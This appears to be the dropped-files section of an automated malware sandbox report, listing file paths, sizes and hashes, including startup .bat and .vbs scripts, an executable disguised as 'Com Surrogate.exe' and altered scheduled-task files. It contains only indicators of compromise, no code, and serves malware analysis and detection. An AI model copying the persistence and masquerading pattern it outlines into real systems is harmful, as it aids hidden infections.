- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
- MD5 661739d384d9dfd807a089721202900b
- SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
- SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 53KB
- SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
- MD5 a26df49623eff12a70a93f649776dab7
- SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
- SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
- SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 2KB
- SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
- MD5 005bc2ef5a9d890fb2297be6a36f01c2
- SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
- SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 86b919daf76310841a142ecc35f86719d9bba85419387b9f8091b8e71261432e
- MD5 e865f57e4f0030462275d59b654cd07d
- SHA1 1457e1654fc80f2e533d50608e86863e5514ab09
- SHA512 123dea75af8f27678356f6a2f6bc6cf2f5099c7b2d82ba218487c94f33f4edeb8405fa602e4e000d3e741a72195eced8750c35d3239389f90332a1369c5c86ed
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 3b574cecd60edbe127171f2a0b5aa3f6531218d9894541d3b8b2ac84715430f4
- MD5 20ded99aaae0f053d8e281c66f754d3b
- SHA1 330c58bef8b0e74a0bb7af793632c6b5e26993ee
- SHA512 a7fee871aeb6234aab44e08b5817c2a5670d4c8e06f666b5ecd56bcc716432e7fd8484a8d07e6b92b9dea197ac2dc3f825c3539a34b98c1b17ae1487a5db92a6
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 c3077e4cadb4ed246c02abe55aa6cf832fee4c2546b7addb7d22cd1c7c8c1294
- MD5 96e3b86880fedd5afc001d108732a3e5
- SHA1 8fc17b39d744a9590a6d5897012da5e6757439a3
- SHA512 909b1968f7204fa7029109b02232d8cc5438f6b4dc7c9044e4e47c59fcee538199b13029e36592b12ed573d48a308dd4822d2ced4129ab08d4111897e02be55d
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 314b91c00997034d6e015f40230d90ebbf57de5dc938b62c1a214d591793dbe3
- MD5 60945d1a2e48da37d4ce8d9c56b6845a
- SHA1 83e80a6acbeb44b68b0da00b139471f428a9d6c1
- SHA512 5d068f1d6443e26ae3cad1c80f969e50e5860967b314153c4d3b6efd1cfa39f0907c6427bec7fa43db079f258b6357e4e9a1b0b1a36b1481d2049ea0e67909ed
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1revpx5b.hxq.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_115.bat
- Size 404KB
- SHA256 f59cf4ca5660457108b8fba581299630e197696c066b0e00171a2b87cac07b00
- MD5 b586154a3cda069bcf731080c0bbd95e
- SHA1 96c154bf8e6c92bc9d175c13f0f13bca5804df80
- SHA512 b923497d24a8fe389550d004d06dec828beca0e476433ddb58190575356a481cca335a23049b1a8e595f04128cdcdea3248840910347d2eaf08196ca28859450
- SSDEEP 12288:JVOGFchTTWrOoT8MP4EWjPNc1xCSBLs4mZACn:JVOGFaTTWSoT1wEcc1xdLsJAe
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_115.vbs
- Size 124B
- SHA256 7109d97539ae67e32d3efd275ce9786575ed2447e7dc1b24fd47a822da73d20e
- MD5 7201acdb65e7ede048fcd53cfc11a332
- SHA1 a538f33b968070a2596e65e53fad39ca47676af3
- SHA512 b3b331edd29a144e6aca8fa9ad62e0f7729362558510841ea19d3497e5df255c49cc00b3987f3d1621d9df7d646b56b0928b72e9b5f7c2a8159ef0898318a117
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Com Surrogate.exe
- Size 442KB
- SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
- MD5 04029e121a0cfa5991749937dd22a1d9
- SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
- SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
- SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
- MD5 ceb7caa4e9c4b8d760dbf7e9e5ca44c5
- SHA1 a3879621f9493414d497ea6d70fbf17e283d5c08
- SHA512 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
- MD5 7d612892b20e70250dbd00d0cdd4f09b
- SHA1 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
- SHA512 f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
- MD5 1e8e2076314d54dd72e7ee09ff8a52ab
- SHA1 5fd0a67671430f66237f483eef39ff599b892272
- SHA512 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
- MD5 0b990e24f1e839462c0ac35fef1d119e
- SHA1 9e17905f8f68f9ce0a2024d57b537aa8b39c6708
- SHA512 c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
- MD5 SHA1 SHA512